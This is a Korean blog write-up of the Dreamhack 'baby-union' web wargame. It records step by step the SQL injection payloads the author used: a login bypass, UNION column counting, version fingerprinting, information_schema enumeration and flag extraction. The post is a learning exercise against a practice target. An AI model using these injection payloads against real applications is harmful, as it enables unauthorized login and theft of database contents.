드림핵 사이트의 워게임 중 웹 해킹 관련
baby-union (Level 1) 문제에 대해서 정리해보려 합니다
<문제설명>
로그인 시 계정의 정보가 출력되는 웹 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하세요. 문제에서 주어진 init.sql 파일의 테이블명과 칼럼명은 실제 이름과 다릅니다. 플래그 형식은 DH{...} 입니다.
<문제를 풀기 위한 시도 정리>
제공해준 서버에 접속하면 아래와 같은 화면이 나온다
이것저것 uid, upw에 삽입하며 시도해 본다
' or 1=1 --
admin' union select upw from users where uid='admin' -- aaaa
admin'-- test
admin'# test <-- 여기에서 일단 로그인이 가능해짐
uid : admin'#
upw : test
입력하면 아래와 같이 로그인이 된다
아래와 같이 로그인이 된 것을 확인할 수 있다
실제 칼럼 개수와 데이터 출력 부분이 어떤 칼럼인지를 확인할 수 있다면 DB조회가 가능할 것으로 판단
이제 그러면 union을 활용해 시도를 해보자
union을 쓰면 앞뒤 SELECT 되는 칼럼 개수가 일치해야 한다
현재 문제에서 주어진 SQL을 보면 SELECT * FROM users 가 몇 개의 컬럼을 가지고 있는지를 확인해야 한다
' union select 1, 2, 3# aa <-- 위에 정보가 3개여서 3개로 해봤는데 실패
' union select 1, 2, 3, 4# aa <-- 조회되는 DB는 4개임을 확인
uid : ' union select 1, database(), 3, 4#
upw : aa
uid : ' union select 1, database(), 3, version()#
upw : aa (칼럼 개수와 mariadb를 사용하고 있음을 확인)
' union select 1, uid, 3, upw# aa <-- 500 error
' union select 1, uid, 3, 4# aa <-- 500 error
uid : ' union select 1, table_name,3, 4 from information_schema.tables#
upw : aa
uid : ' union select column_name, 2, 3, 4 from information_schema.columns where table_name='onlyflag' #
upw : aa
uid : ' union select sname, svalue, 3, sflag from onlyflag #
upw : aa
이렇게 나온 것을 조합해서 넣으면 flag 오류가 뜸을 확인
다시 재조합을 할 필요가 있음
# 시도1
uid : ' union select svalue, sname, sflag, sclose from onlyflag #
upw : aa
# 시도2
uid : ' union select svalue, sflag, 3, sclose from onlyflag #
upw : aa
이렇게 시도2를 통해 순서대로 뽑히는 DH{} 값을 확인할 수 있다
문제 출처 및 참조
'IT Security > DreamHack' 카테고리의 다른 글
드림핵 워게임 command-injection-1 문제 풀이 정리 (0) | 2024.11.13 |
---|---|
드림핵 워게임 error based sql injection 문제 풀이 (Level 1) (0) | 2024.11.11 |
드림핵 워게임 sql injection bypass WAF Advanced 문제 풀이 정리 (Level 2) (1) | 2024.11.09 |
드림핵 워게임 sql injection bypass WAF 문제 풀이 정리 (Level 1) (1) | 2024.11.08 |
드림핵 워게임 blind sql injection advanced 문제 풀이 정리 (Level 2) (0) | 2024.11.03 |